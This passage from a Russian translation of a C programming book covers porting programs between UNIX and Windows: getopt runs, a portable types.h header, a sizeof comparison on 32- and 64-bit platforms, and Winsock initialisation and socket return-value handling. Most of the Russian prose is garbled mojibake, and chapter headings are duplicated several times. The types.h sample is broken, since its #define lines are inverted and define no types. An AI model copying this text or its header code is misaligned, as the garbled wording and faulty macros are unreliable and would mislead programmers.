Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32
C:\>Documents and Settings\Mike\My Documents\Visual Studio Projects\
getopt\Debug>getopt
íå çàäàí ôëàã -t.

C:\>Documents and Settings\Mike\My Documents\Visual Studio Projects\
getopt\Debug>getopt -u
íåèçâåñòíûé ôëàã.

C:\>Documents and Settings\Mike\My Documents\Visual Studio Projects\
getopt\Debug>getopt -t cancun
test: cancun, flag: 0

C:\>Documents and Settings\Mike\My Documents\Visual Studio Projects\
getopt\Debug>getopt -u cancun -f
test: cancun, flag: 1

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêå 18 âûçûâàåòñÿ ôóíêöèÿ getopt() âíóòðè öèêëà while, ïî îäíîìó

ðàçó äëÿ êàæäîãî çàäàííîãî â êîìàíäíîé ñòðîêå àðãóìåíòà.
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� Â ñòðîêå 20 çíà÷åíèå, âîçâðàùåííîå getopt(), àíàëèçèðóåòñÿ â ïðåäëî-
æåíèè switch. Â çàâèñèìîñòè îò ðàçîáðàííîãî ôëàãà âûïîëíÿåòñÿ òà èëè
èíàÿ âåòâü.

� Â ñòðîêå 32 ñîäåðæèòñÿ âàðèàíò ïî óìîë÷àíèþ, â êîòîðîì îáðàáàòû-
âàþòñÿ íåèçâåñòíûå ôëàãè è îøèáêè, âîçâðàùåííûå getopt().

Целочисленные типы данных

Â òåõ îïåðàöèîííûõ ñèñòåìàõ UNIX, ãäå èñïîëüçóåòñÿ êîìïèëÿòîð GCC,
â ïðîãðàììû ÷àñòî âêëþ÷àþò çàãîëîâî÷íûé ôàéë sys/types.h, â êîòîðîì îïðå-
äåëåíû ñîêðàùåííûå îáîçíà÷åíèÿ äëÿ ìíîãèõ òèïîâ äàííûõ. Ïðèíÿòîå ñî-
ãëàøåíèå ñîñòîèò â èñïîëüçîâàíèè ñëîâà int èëè u_int, çà êîòîðûì ñëåäóåò øè-
ðèíà òèïà äàííûõ â áèòàõ è ñóôôèêñ _t. Íàïðèìåð, u_int8_t, int16_t, u_int32_t
è òàê äàëåå.

Â Windows ýòè òèïû íå îïðåäåëåíû. Åñëè â ïåðåíîñèìîé ïðîãðàììå îíè
âñòðå÷àþòñÿ, òî ïðèäåòñÿ ëèáî ïðåîáðàçîâàòü èõ â ýêâèâàëåíòíûå òèïû, îï-
ðåäåëåííûå â èìåþùèõñÿ çàãîëîâî÷íûõ ôàéëàõ, ëèáî âîñïîëüçîâàòüñÿ áåñ-
ïëàòíîé ïåðåíåñåííîé âåðñèåé ôàéëà sys/types.h, ëèáî íàïèñàòü òàêîé ôàéë
ñàìîñòîÿòåëüíî.

Â ïðèìåðå 6.31 ïðèâåäåí âàðèàíò çàãîëîâî÷íîãî ôàéëà, ñîâìåñòèìîãî
ñ sys/types.h.

Пример 6.31. Пример 6.31. Пример 6.31. Пример 6.31. Пример 6.31. Переносимый файл, содержащий определения типов данных
(types.h)
 1 /*

 2  * types.h

 3  *

 4  *

 5  *

 6  *

 7  */

 8
 9 #ifndef __TYPES_H__

10 #define __TYPES_H__

11
12 #ifndef u_int8_t

13 #define unsigned char u_int8_t

14 #endif

15
16 #ifndef u_int16_t

17 #define unsigned short u_int16_t

18 #endif

19
20 #ifndef u_int32_t



331

21 #define unsigned int u_int32_t

22 #endif

23
24 #ifndef u_int64_t

25 #define unsigned __int64 u_int64_t

26 #endif

27
28 #endif /* __TYPES_H__ */

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêå 12 ñ ïîìîùüþ äèðåêòèâû ïðåïðîöåññîðà #ifndef âûÿñíÿåòñÿ,

áûë ëè óæå îïðåäåëåí òèï u_int8_t. Åñëè íåò, òî îí îïðåäåëÿåòñÿ ïî-
ñðåäñòâîì äèðåêòèâû #define. Òî æå ñàìîå äåëàåòñÿ íèæå äëÿ òèïîâ
u_int16_t, u_int32_t è u_int64_t.
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Резюме
Ñàìîå ñëîæíîå ïðè íàïèñàíèè ïåðåíîñèìûõ ïðîãðàìì – ýòî íàéòè õîðî-
øóþ äîêóìåíòàöèþ èñïîëüçóåìûõ API è ïîäãîòîâèòü òåñòîâóþ ñðåäó. Íî
äàæå è â ýòîì ñëó÷àå ïðèäåòñÿ ïîòðàòèòü âðåìÿ, ïîêà âñå îøèáêè íå áóäóò
èñïðàâëåíû. Â ñëåäóþùåé ãëàâå ìû ïîäðîáíî ðàññìîòðèì âîïðîñû íàïèñà-
íèÿ ïåðåíîñèìûõ ñåòåâûõ ïðèëîæåíèé.

Обзор изложенного материала
Ðóêîâîäñòâî ïî íàïèñàíèþ ïåðåíîñèìûõ ïðîãðàììÐóêîâîäñòâî ïî íàïèñàíèþ ïåðåíîñèìûõ ïðîãðàììÐóêîâîäñòâî ïî íàïèñàíèþ ïåðåíîñèìûõ ïðîãðàììÐóêîâîäñòâî ïî íàïèñàíèþ ïåðåíîñèìûõ ïðîãðàììÐóêîâîäñòâî ïî íàïèñàíèþ ïåðåíîñèìûõ ïðîãðàìì
äëÿ ïëàòôîðì UNIX è Windowsäëÿ ïëàòôîðì UNIX è Windowsäëÿ ïëàòôîðì UNIX è Windowsäëÿ ïëàòôîðì UNIX è Windowsäëÿ ïëàòôîðì UNIX è Windows

� Ñîñòàâëåíèå ïðîãðàììû çàâèñèò îò îïåðàöèîííîé ñèñòåìû, êîìïèëÿ-
òîðà è ÿçûêà. Òåõíèêà êîäèðîâàíèÿ, ïðè êîòîðîì ïðîãðàììà ðàáîòàåò íà
ðàçíûõ ïëàòôîðìàõ, ñâÿçàíà ñ íàïèñàíèåì ïåðåíîñèìîãî êîäà.

Часто задаваемые вопросы
Ñëåäóþùèå ÷àñòî çàäàâàåìûå âîïðîñû, íà êîòîðûå îòâå÷àþò àâòîðû êíèãè,
ïðèçâàíû ïîìî÷ü âàì îöåíèòü, íàñêîëüêî õîðîøî âû ïîíÿëè èäåè, èçëîæåí-
íûå â äàííîé ãëàâå, è âîçìîæíûå èõ ïðèìåíåíèÿ íà ïðàêòèêå. Åñëè âû õîòèòå
çàäàòü àâòîðàì âîïðîñ, çàéäèòå íà ñòðàíèöó www.syngress.com/solutions è çà-
ïîëíèòå ôîðìó Ask the AuthorAsk the AuthorAsk the AuthorAsk the AuthorAsk the Author. Çàîäíî âû ïîëó÷èòå äîñòóï ê òûñÿ÷àì äðó-
ãèõ FAQîâ íà ñàéòå ITFAQnet.com.

Â:Â:Â:Â:Â: Ïåðåíîñ ïðîãðàìì, â êîòîðûõ èñïîëüçóåòñÿ ñèñòåìíûé âûçîâ fork, ïîõî-
æå, âûçûâàåò íàèáîëüøèå ñëîæíîñòè. Íå ñêàæåòå, ïî÷åìó?

Î:Î:Î:Î:Î: Ìû òâåðäî óâåðåíû, ÷òî, èçó÷èâ ðàçëè÷íûå API, ïðåäëàãàåìûå â Micro-
soft Windows, âû ëèáî ïîëþáèòå èõ, ëèáî âîçíåíàâèäèòå. Íî òàê èëè èíà÷å,
îíè â îáîçðèìîì áóäóùåì íèêóäà íå äåíóòñÿ. Microsoft âûáðàëà èìåííî òà-
êîé ñïîñîá ïîðîæäåíèÿ íîâîãî ïðîöåññà, ÷òîáû ïîâûñèòü ãèáêîñòü óïðàâëå-
íèÿ ïðîöåññàìè è ïîòîêàìè. Áóäåì íàäåÿòüñÿ, ÷òî êòî-íèáóäü íàïèøåò èçÿù-
íûé êëàññ, êîòîðûé ïîçâîëèò àâòîìàòèçèðîâàòü êðîññ-ïëàòôîðìåííîå óïðàâ-
ëåíèå ïðîöåññàìè.

Â:Â:Â:Â:Â: Êàê áû âû ïîðåêîìåíäîâàëè ñîçäàâàòü ïîâòîðíî èñïîëüçóåìûé êðîññ-
ïëàòôîðìåííûé êîä?

Î:Î:Î:Î:Î: Ñòèëü ïðîãðàììèðîâàíèÿ – ýòî òàêîå æå ñóáúåêòèâíîå è ëè÷íîå äåëî,
êàê íàïèñàíèå ñòèõîâ. Íî â êà÷åñòâå îáùåãî ñîîáðàæåíèÿ ìû ìîãëè áû ïî-
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ðåêîìåíäîâàòü îðãàíèçàöèþ êîäà â âèäå îäíîãî èëè íåñêîëüêèõ êëàññîâ.
Îáúåêòíî-îðèåíòèðîâàííàÿ ìîäåëü ïîìîæåò âàì ýôôåêòèâíî è áåçîïàñíî
ñîçäàâàòü íåîáõîäèìûå îáúåêòû âî âðåìÿ èñïîëíåíèÿ ïðîãðàììû.

Â:Â:Â:Â:Â: Åñòü ëè ñóùåñòâåííûå ðàçëè÷èÿ ìåæäó 32- è 64-ðàçðÿäíûìè ïëàòôîðìà-
ìè ñ òî÷êè çðåíèÿ ïåðåíîñèìîñòè êîäà?     

Î:Î:Î:Î:Î: Êîíå÷íî. Êàê ìèíèìóì, âàì ïðèäåòñÿ ïåðåêîìïèëèðîâàòü ïðîãðàììó
äëÿ íóæíîé ïëàòôîðìû. Êðîìå òîãî, âîçìîæíî, ïðèäåòñÿ ñòîëêíóòüñÿ ñ òàêè-
ìè íåïðèÿòíîñòÿìè, êàê ïëîõî íàïèñàííûå äðàéâåðû óñòðîéñòâ, ìîäèôèêà-
öèè áèáëèîòåê è ïðîáëåìû ñ óïðàâëåíèåì ïàìÿòüþ. Ñëåäóþùèé ïðèìåð ïî-
êàçûâàåò ëèøü ìàëóþ ÷àñòü èçìåíåíèé, îáíàðóæèâàåìûõ ïðîñòî â ðåçóëüòà-
òå êîìïèëÿöèè îäíîé è òîé æå ïðîãðàììû íà ðàçíûõ ïëàòôîðìàõ.

#include <stdio.h>
int main(int argc, char *argv[])
{
  (void) printf("ðàçìåð char ðàâåí \t\t%lu áàéò\n", sizeof(char));
  (void) printf("ðàçìåð short ðàâåí \t\t%lu áàéò\n", sizeof(short));
  (void) printf("ðàçìåð int ðàâåí \t\t%lu áàéò\n", sizeof(int));
  (void) printf("ðàçìåð long ðàâåí \t\t%lu áàéò\n", sizeof(long));
  (void) printf("ðàçìåð long long ðàâåí \t\t%lu áàéò\n",
                sizeof(long long));
  (void) printf("ðàçìåð óêàçàòåëÿ ðàâåí \t\t%lu áàéò\n", sizeof(void *));
  (void) printf("Êîíåö òåñòà!\n");
  return(0);
}

ÈñïîëíåíèåÈñïîëíåíèåÈñïîëíåíèåÈñïîëíåíèåÈñïîëíåíèå
Â ïðèìåðàõ 6.32 è 6.33 ïðèâåäåíû ðåçóëüòàòû èñïîëíåíèÿ ýòîé ïðîãðàììû
ñíà÷àëà íà 32-ðàçðÿäíîé, à ïîòîì íà 64-ðàçðÿäíîé ïëàòôîðìå.

Пример 6.32. Пример 6.32. Пример 6.32. Пример 6.32. Пример 6.32. Компиляция и запуск на 32*разрядной платформе
Gabriel_root$\ cc -O -o test32 test32.c
Gabriel_root$\ test32
ðàçìåð char ðàâåí 1 áàéò
ðàçìåð short ðàâåí 2 áàéò
ðàçìåð int ðàâåí 4 áàéò
ðàçìåð long ðàâåí 4 áàéò
ðàçìåð long long ðàâåí 8 áàéò
ðàçìåð óêàçàòåëÿ ðàâåí 4 áàéò
Êîíåö òåñòà!

Пример 6.33. Пример 6.33. Пример 6.33. Пример 6.33. Пример 6.33. Компиляция и запуск на 64*разрядной платформе
Gabriel_root$\ cc -xarch=v9 -O -o test64 test64.c
Gabriel_root$\ test64
ðàçìåð char ðàâåí 1 áàéò
ðàçìåð short ðàâåí 2 áàéò

Часто задаваемые вопросы
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ðàçìåð int ðàâåí 4 áàéò
ðàçìåð long ðàâåí 8 áàéò
ðàçìåð long long ðàâåí 8 áàéò
ðàçìåð óêàçàòåëÿ ðàâåí 8 áàéò
Êîíåö òåñòà!

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêàõ 4–9 ïå÷àòàåòñÿ èíôîðìàöèÿ î òîì, ñêîëüêî ïàìÿòè îòâîäèò-

ñÿ ïîä ïðîñòûå òèïû äàííûõ. Ðàçìåð òèïà äàííûõ âîçâðàùàåò âñòðîåí-
íûé â ÿçûê îïåðàòîð sizeof.

Примечание

Показанная выше программа была скомпилирована и протестирова�
на в операционной системе Solaris 9.

Â:Â:Â:Â:Â: Êàêèå ñóùåñòâóþò òåõíîëîãèè è èíñòðóìåíòû, ïîìîãàþùèå ïðîâåðèòü,
êîððåêòíî ëè ÿ íàïèñàë êðîññ-ïëàòôîðìåííóþ èëè ïëàòôîðìåííî-íåçàâèñè-
ìóþ ïðîãðàììó?

Î:Î:Î:Î:Î: Èõ ìíîæåñòâî, íî âî âðåìÿ ðàáîòû íàä ýòîé êíèãîé åùå íå ñóùåñòâî-
âàëî óíèâåðñàëüíîãî ðåøåíèÿ, êîòîðîå ïîçâîëèëî áû àâòîìàòèçèðîâàòü
ðàçðàáîòêó, òåñòèðîâàíèå è ïðîãîí ïëàòôîðìåííî-íåçàâèñèìûõ ïðîãðàìì.
Ëó÷øå âñåãî ïîëüçîâàòüñÿ áåñïëàòíûìè è êîììåð÷åñêèìè áèáëèîòåêàìè,
êîòîðûå óæå îáåñïå÷èâàþò íåçàâèñèìîñòü îò ïëàòôîðìû. Íå íàäî èçîáðå-
òàòü âåëîñèïåä. Ïðåêðàñíûì ïðèìåðîì áåñïëàòíîé áèáëèîòåêè äëÿ ñîçäàíèÿ
ïëàòôîðìåííî-íåçàâèñèìîãî ãðàôè÷åñêîãî èíòåðôåéñà ìîæåò ñëóæèòü
WXWindows (www.wxwindows.org).
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Введение
Íåòðèâèàëüíûå ìåòîäû íàïèñàíèÿ ñåòåâûõ ïðîãðàìì âñåãäà áûëè îäíèì èç
ñàìûõ ñëîæíûõ äëÿ óñâîåíèÿ âîïðîñîâ. Â ãëàâå «BSD-ñîêåòû» ìû âèäåëè, êàê
ñîçäàåòñÿ è çàêðûâàåòñÿ ñîêåò, êàê ÷èòàòü èç íåãî äàííûå è êàê èõ îòïðàâ-
ëÿòü. Â ýòîé ãëàâå ìû çàéìåìñÿ äåòàëÿìè íàïèñàíèÿ êîäà, êîòîðûé áóäåò áåç
êàêèõ-ëèáî ìîäèôèêàöèé êîìïèëèðîâàòüñÿ è ðàáîòàòü êàê íà ïëàòôîðìå
UNIX/Linux, òàê è â Microsoft Windows.

Êëþ÷îì ê íàïèñàíèþ ïëàòôîðìåííî-íåçàâèñèìîãî êîäà ÿâëÿåòñÿ ïðèìå-
íåíèå äèðåêòèâ ïðåïðîöåññîðà #ifdef è #endif, à òàêæå çíàíèå òîãî, â êàêèõ
áèáëèîòåêàõ íàõîäÿòñÿ íóæíûå ôóíêöèè. Èìåÿ äîñòóï ê ïðîñòûì (raw) ñîêå-
òàì, ïðîãðàììèñò ìîæåò ìàíèïóëèðîâàòü íåñòàíäàðòíûìè ïàêåòàìè. Ýòè è
äðóãèå âîïðîñû ìû è ðàññìîòðèì â äàííîé ãëàâå.

Â êîíöå ãëàâû ìû ïîãîâîðèì î ðàçëè÷èè â ìåõàíèçìàõ ïåðåõâàòà ïàêåòîâ
â UNIX è Windows. Áóäåò ðàçðàáîòàíà ïðîãðàììà, êîòîðàÿ ïåðåõâàòûâàåò ïà-
êåòû è ïðîòîêîëèðóåò èõ äëÿ ïîñëåäóþùåãî àíàëèçà.

Примечание

Все примеры в этой главе были написаны и откомпилированы на
платформе OpenBSD 3.2 / x86 с помощью компилятора GNU C вер�
сии 2.95.3 и оболочки tcsh версии 6.12.00, а также Microsoft Win�
dows XP и Microsoft Visual Studio.NET 2002.

BSD�сокеты и Winsock
Èíòåðôåéñû BSD-ñîêåòîâ è Microsoft Winsock â îñíîâíûõ ÷åðòàõ ñîâìåñòè-
ìû ìåæäó ñîáîé. Ñ íåçíà÷èòåëüíûìè ìîäèôèêàöèÿìè áîëüøàÿ ÷àñòü êîäà,
íàïèñàííîãî äëÿ UNIX, ìîæåò áûòü ïåðåíåñåíà â Windows è íàîáîðîò.

Â ýòîì ðàçäåëå ìû ðàññìîòðèì äåòàëè îáîèõ ñòàíäàðòîâ, âîïðîñû ñîâìåñ-
òèìîñòè è íàïèñàíèÿ ïåðåíîñèìîãî êîäà. Íà÷íåì ñ òðåáîâàíèé, ïðåäúÿâëÿå-
ìûõ ñïåöèôèêàöèåé Winsock, à çàòåì ðàññìîòðèì, êàê òðàêòîâàòü çíà÷åíèÿ,
âîçâðàùàåìûå ôóíêöèÿìè ðàáîòû ñ ñîêåòàìè, êàê ïîëó÷èòü äîïîëíèòåëü-
íóþ èíôîðìàöèþ îá îøèáêàõ è êàê ïîëüçîâàòüñÿ íàèáîëåå ðàñïðîñòðàíåí-
íûìè ôóíêöèÿìè.
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Требования спецификации Winsock

Íà ïëàòôîðìå Microsoft Windows äëÿ äîñòóïà ê îáû÷íûì è ïðîñòûì ñîêåòàì
ïðèìåíÿåòñÿ èíòåðôåéñ Winsock. Íî ïðåæäå ÷åì îáðàùàòüñÿ ê ëþáîé îïðå-
äåëåííîé â íåì ôóíêöèè, íóæíî âûïîëíèòü èíèöèàëèçàöèþ.

Äëÿ èíèöèàëèçàöèè Winsock ñëóæèò ôóíêöèÿ WSAStartup(). Îíà ïðèíèìà-
åò äâà àðãóìåíòà: íîìåð íåîáõîäèìîé âåðñèè Winsock (unsigned short) è óêàçà-
òåëü íà ñòðóêòóðó WSADATA, â êîòîðîé õðàíÿòñÿ âñå äåòàëè èíèöèàëèçèðî-
âàííîãî ýêçåìïëÿðà Winsock.

Ïåðâûé àðãóìåíò îáû÷íî êîíñòðóèðóåòñÿ ñ ïîìîùüþ ìàêðîñà MAKEWORD,
êîòîðûé îáúåäèíÿåò äâà 8-ðàçðÿäíûõ çíà÷åíèÿ â îäíî áåççíàêîâîå 16-ðàç-
ðÿäíîå. Â API BSD-ñîêåòîâ íåò àíàëîãà ôóíêöèè WSAStartup, ïîýòîìó ïðè
êîìïèëÿöèè â UNIX åå ñëåäóåò ñêðûòü îò êîìïèëÿòîðà ñ ïîìîùüþ äèðåêòè-
âû #ifdef.

Â ïðèìåðå 7.1 ïîêàçàíî, êàê èíèöèàëèçèðîâàòü Winsock ïóòåì âûçîâà
WSAStartup.

Пример 7.1. Пример 7.1. Пример 7.1. Пример 7.1. Пример 7.1. Инициализация Winsock (winsock1.c)
 1 /*

 2  * winsock1.c

 3  *

 4  *

 5  */

 6
 7 #ifdef WIN32

 8
 9 #pragma comment(lib, "ws2_32.lib") /* íåîáõîäèìî äëÿ Winsock */

10
11 #include <winsock2.h>

12
13 #else

14
15 /* Ñþäà âêëþ÷àþòñÿ ñïåöèôè÷íûå äëÿ UNIX çàãîëîâî÷íûå ôàéëû */

16
17 #endif

18
19 #include <stdio.h>

20
21 int

22 main(void)

23 {

24 #ifdef WIN32

25   WSADATA wsa;

26   /* äîïîëíèòåëüíûå ïåðåìåííûå, ñïåöèôè÷íûå äëÿ Win32 */

27 #else

BSD�сокеты и Winsock
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28   /* äîïîëíèòåëüíûå ïåðåìåííûå, ñïåöèôè÷íûå äëÿ UNIX */

29 #endif

30
31 #ifdef WIN32

32   /* èíèöèàëèçèðîâàòü Winsock */

33   if(WSAStartup(MAKEWORD(2, 0), &wsa) != 0x0)

34   {

35     printf("îøèáêà WSAStartup().\n");

36     return(1);

37   }

38 #endif

39
40   /*

41    * òåïåðü âñå ãîòîâî äëÿ èñïîëüçîâàíèÿ API ñîêåòîâ

42    */

43
44   return(0);

45 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêàõ 7–19 ñ ïîìîùüþ äèðåêòèâû #pragma comment(l ib, «ws2_32.l ib»)

îáúÿâëÿåòñÿ çàâèñèìîñòü îò áèáëèîòåêè ws2_32.l ib è âêëþ÷àåòñÿ çàãî-
ëîâî÷íûé ôàéë winsock2.h.

� Â ñòðîêàõ 31–38 âûçûâàåòñÿ ôóíêöèÿ WSAStartup() äëÿ èíèöèàëèçàöèè
Winsock. Â ïðèëîæåíèÿõ äëÿ ïëàòôîðìû Win32 ïîäîáíûé êîä íåîáõî-
äèìî âêëþ÷àòü äî ïåðâîãî îáðàùåíèÿ ê ëþáîé ôóíêöèè äëÿ ðàáîòû
ñ ñîêåòàìè.

Подлежащие переносу компоненты
Â ýòîì ðàçäåëå ìû ïîïûòàëèñü îïèñàòü âñå êîìïîíåíòû, íà êîòîðûå íàäî
îáðàùàòü âíèìàíèå ïðè ïåðåíîñå ñåòåâîãî êîäà.

Возвращаемые значения

Â UNIX è Windows áîëüøèíñòâî ôóíêöèé äëÿ ðàáîòû ñ ñîêåòàìè âîçâðàùà-
þò ðàçíûå çíà÷åíèÿ. Â UNIX äëÿ îáîçíà÷åíèÿ îøèáêè âîçâðàùàåòñÿ îòðèöà-
òåëüíîå ÷èñëî, òîãäà êàê íóëü è ïîëîæèòåëüíîå çíà÷åíèå ñâèäåòåëüñòâóþò îá
óñïåøíîñòè âûïîëíåíèÿ îïåðàöèè.

Â Windows ôóíêöèÿ WSAStartup() âîçâðàùàåò íåíóëåâîå çíà÷åíèå â ñëó÷àå
îøèáêè è íóëü – â ñëó÷àå óñïåõà. Ôóíêöèÿ socket() âîçâðàùàåò â ñëó÷àå îøèá-
êè êîíñòàíòó INVALID_SOCKET, à â ñëó÷àå óñïåõà – çíà÷åíèå òèïà SOCKET,



339

îòëè÷íîå îò INVALID_SOCKET. Âñå îñòàëüíûå ôóíêöèè âîçâðàùàþò â ñëó-
÷àå îøèáêè êîíñòàíòó SOCKET_ERROR, à â ñëó÷àå óñïåõà – äðóãîå çíà÷åíèå.

Íà÷èíàÿ ñ âåðñèè Winsock 2.0, êîíñòàíòû INVALID_SOCKET è SOCKET_ER-
ROR îïðåäåëåíû êàê –1. Ïîýòîìó ñ íèìè ìîæíî îáðàùàòüñÿ òàê æå, êàê
â ñëó÷àå BSD-ñîêåòîâ. Îäíàêî ýòî íå ðåêîìåíäóåòñÿ, òàê êàê êîìïèëÿòîð
ìîæåò âûäàâàòü ïðåäóïðåæäåíèÿ, à â áóäóùåì âíóòðåííåå îïðåäåëåíèå òèïà
SOCKET ìîæåò è èçìåíèòüñÿ, òàê ÷òî ñðàâíåíèå âîçâðàùàåìîãî çíà÷åíèÿ
ñ íóëåì ïåðåñòàíåò ðàáîòàòü.

×òîáû ìîæíî áûëî ðàáîòàòü ñî çíà÷åíèÿìè, âîçâðàùàåìûìè ôóíêöèåé
socket() íåçàâèñèìî îò ïëàòôîðìû, ìîæíî ÿâíî ïðèâåñòè òèï SOCKET â Win-
dows ê òèïó int, êàê ïîêàçàíî â ïðèìåðå 7.21.

Пример 7.2. Пример 7.2. Пример 7.2. Пример 7.2. Пример 7.2. Обработка значения, возвращаемого функцией socket()
1 /* ñîçäàòü ñîêåò è ïðèâåñòè âîçâðàùàåìîå çíà÷åíèå ê òèïó int */

2 sd = (int) socket(AF_INET, SOCK_STREAM, 0);

3 if(sd < 0)

4 {

5   printf("îøèáêà socket().\n");

6   return(1);

7 }

8
9 printf("ñîçäàí äåñêðèïòîð ñîêåòà.\n");

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêå 2 âûçûâàåòñÿ ôóíêöèÿ socket(), è âîçâðàùàåìîå åé çíà÷åíèå

ïðèâîäèòñÿ ê òèïó int.

Íî íàäåæíåå âîñïîëüçîâàòüñÿ äèðåêòèâîé ïðåïðîöåññîðà #ifdef, ÷òîáû ðàç-
ëè÷èòü ñèñòåìû, íà êîòîðûõ ïðîèçâîäèòñÿ êîìïèëÿöèÿ. Ýòîò ïîäõîä ïðîäå-
ìîíñòðèðîâàí â ïðèìåðå 7.3.

Пример 7.3. Пример 7.3. Пример 7.3. Пример 7.3. Пример 7.3. Применение директив препроцессора для обработки значения,
возвращаемого функцией socket()
1   /* ñîçäàòü ñîêåò */

2   sd = (int) socket(AF_INET, SOCK_STREAM, 0);

3
4   /* â Win32 ñðàâíèòü ñ êîíñòàíòîé INVALID_SOCKET */

5 #ifdef WIN32

6   if(sd == INVALID_SOCKET)

7   /* èíà÷å ñðàâíèòü ñ -1 */

8 #else

1 Ýòî çàùèòèò îò ïðåäóïðåæäåíèé êîìïèëÿòîðà, íî íå îò âîçìîæíîãî èçìåíåíèÿ âíóò-
ðåííåãî îïðåäåëåíèÿ òèïà SOCKET. (Ïðèì. ïåðåâ.)

Подлежащие переносу компоненты



340 Глава 7. Написание переносимых сетевых программ

 9   if(sd  < 0)
10 #endif

11   {
12     printf("îøèáêà socket().\n");

13     return(1);
14   }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêå 2 âûçûâàåòñÿ ôóíêöèÿ socket(), è âîçâðàùàåìîå åé çíà÷åíèå

ñîõðàíÿåòñÿ â ïåðåìåííîé sd.
� Â ñòðîêàõ 5 è 6 ñ ïîìîùüþ äèðåêòèâû ïðåïðîöåññîðà #ifdef ïðîâåðÿåòñÿ,

÷òî ïðîãðàììà êîìïèëèðóåòñÿ íà ïëàòôîðìå Win32, è â ýòîì ñëó÷àå
äåñêðèïòîð, âîçâðàùåííûé ôóíêöèåé socket(), ñðàâíèâàåòñÿ ñ êîíñòàí-
òîé INVALID_SOCKET.

� Â ñòðîêàõ 8 è 9 îáðàáàòûâàåòñÿ ñëó÷àé êîìïèëÿöèè â UNIX, êîãäà âîç-
âðàùåííîå çíà÷åíèå íàäî ñðàâíèòü ñ íóëåì.

Çíà÷åíèÿ, âîçâðàùàåìûå îñòàëüíûìè ôóíêöèÿìè äëÿ ðàáîòû ñ ñîêåòàìè,
ñëåäóåò îáðàáàòûâàòü àíàëîãè÷íî: ëèáî ïóòåì ïðèâåäåíèÿ ê òèïó int, ëèáî
ñ ïîìîùüþ äèðåêòèâ ïðåïðîöåññîðà. Â ïðèìåðå 7.4 ýòî ïðîäåìîíñòðèðîâà-
íî äëÿ ôóíêöèè setsockopt().

Пример 7.4. Пример 7.4. Пример 7.4. Пример 7.4. Пример 7.4. Обработка значения, возвращаемого функцией setsockopt()
 1   /* ðàññìàòðèâàåì âîçâðàùàåìîå çíà÷åíèå êàê öåëîå ÷èñëî */

 2   ret = setsockopt(sd, IPPROTO_IP, IP_HDRINCL,

 3                    (const char *) &flg, sizeof(flg));

 4   /* âîçâðàùåííîå çíà÷åíèå îòðèöàòåëüíî? */

 5   if(ret  < 0)

 6   {

 7     printf("îøèáêà setsockopt().\n");

 8     return(1);

 9   }

10
11   /* îáðàáîòàòü âîçâðàùåííîå çíà÷åíèå, èñïîëüçóÿ ifdef */

12   ret = setsockopt(sd, IPPROTO_IP, IP_HDRINCL,

13                    (const char *) &flg, sizeof(flg));

14   /* åñëè Win32, ñðàâíèòü ñ êîíñòàíòîé SOCKET_ERROR */

15 #ifdef WIN32

16   if(ret == SOCKET_ERROR)

17 #else

18   /* èíà÷å ïðîâåðèòü, ÷òî âîçâðàùåííîå çíà÷åíèå íåîòðèöàòåëüíî */

19   if(ret  < 0)

20 #endif

21   {

22     printf("îøèáêà setsockopt().\n");

23     return(1);

24   }
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ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêàõ 1–10 âûçûâàåòñÿ ôóíêöèÿ setsockopt(),âîçâðàùàåìîå åé çíà÷å-

íèå ðàññìàòðèâàåòñÿ êàê öåëîå ÷èñëî âíå çàâèñèìîñòè îò ïëàòôîðìû.
Ýòî äîïóñòèìî, íî ïðè æåëàíèè ìîæíî òàêæå ñðàâíèâàòü åãî ñ êîí-
ñòàíòàìè, îïðåäåëåííûìè â çàãîëîâî÷íûõ ôàéëàõ Windows.

� Â ñòðîêàõ 12–24 ñíîâà âûçûâàåòñÿ ôóíêöèÿ setsockopt(), íî íà ýòîò ðàç
âîçâðàùàåìîå çíà÷åíèå îáðàáàòûâàåòñÿ ïî-ðàçíîìó ñ ïîìîùüþ äè-
ðåêòèâû #ifdef. Åñëè ïðîãðàììà êîìïèëèðóåòñÿ íà ïëàòôîðìå Win32, òî
çíà÷åíèå ñðàâíèâàåòñÿ ñ êîíñòàíòîé SOCKET_ERROR, â ïðîòèâíîì
ñëó÷àå – ñ íóëåì.

Расширенная информация об ошибках

Â API, ïðåäëàãàåìûõ BSD è Winsock, äîñòóï ê ðàñøèðåííîé èíôîðìàöèè îá
îøèáêå îñóùåñòâëÿåòñÿ ïî-ðàçíîìó. Â BSD äëÿ ýòîé öåëè ñëóæèò ãëîáàëüíàÿ
ïåðåìåííàÿ errno, à â Winsock – ôóíêöèÿ WSAGetLastError(). Ïîýòîìó íåîáõî-
äèìî ðàçëè÷àòü ýòè ñëó÷àè ñ ïîìîùüþ äèðåêòèâû ïðåïðîöåññîðà #ifdef. Ïðè-
ìåíÿåìàÿ ìåòîäèêà ïðîäåìîíñòðèðîâàíà â ïðèìåðå 7.5.

Пример 7.5. Пример 7.5. Пример 7.5. Пример 7.5. Пример 7.5. Получение расширенной инфорации об ошибке (error1.c)
 1 /*

 2  * error1.c

 3  *

 4  *

 5  */

 6
 7 #ifdef WIN32

 8
 9 #pragma comment(lib, "ws2_32.lib")

10 #include <winsock2.h>

11
12 #else

13
14 #include <sys/types.h>

15 #include <sys/socket.h>

16
17 /* íåîáõîäèìî äëÿ errno */

18 #include <errno.h>

19
20 #endif

21
22 #include <stdio.h>

23
24 int

Подлежащие переносу компоненты
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25 main(void)

26 {

27 #ifdef WIN32

28   WSADATA wsa;

29 #endif

30
31   int sd  = 0;

32   int num = 0;

33
34 /* èíèöèàëèçèðîâàòü Winsock íà ïëàòôîðìå Win32 */

35 #ifdef WIN32

36   memset(&wsa, 0x0, sizeof(WSADATA));

37
38   if(WSAStartup(MAKEWORD(2, 0), &wsa) != 0x0)

39   {

40     printf("îøèáêà WSAStartup().\n");

41     return(1);

42   }

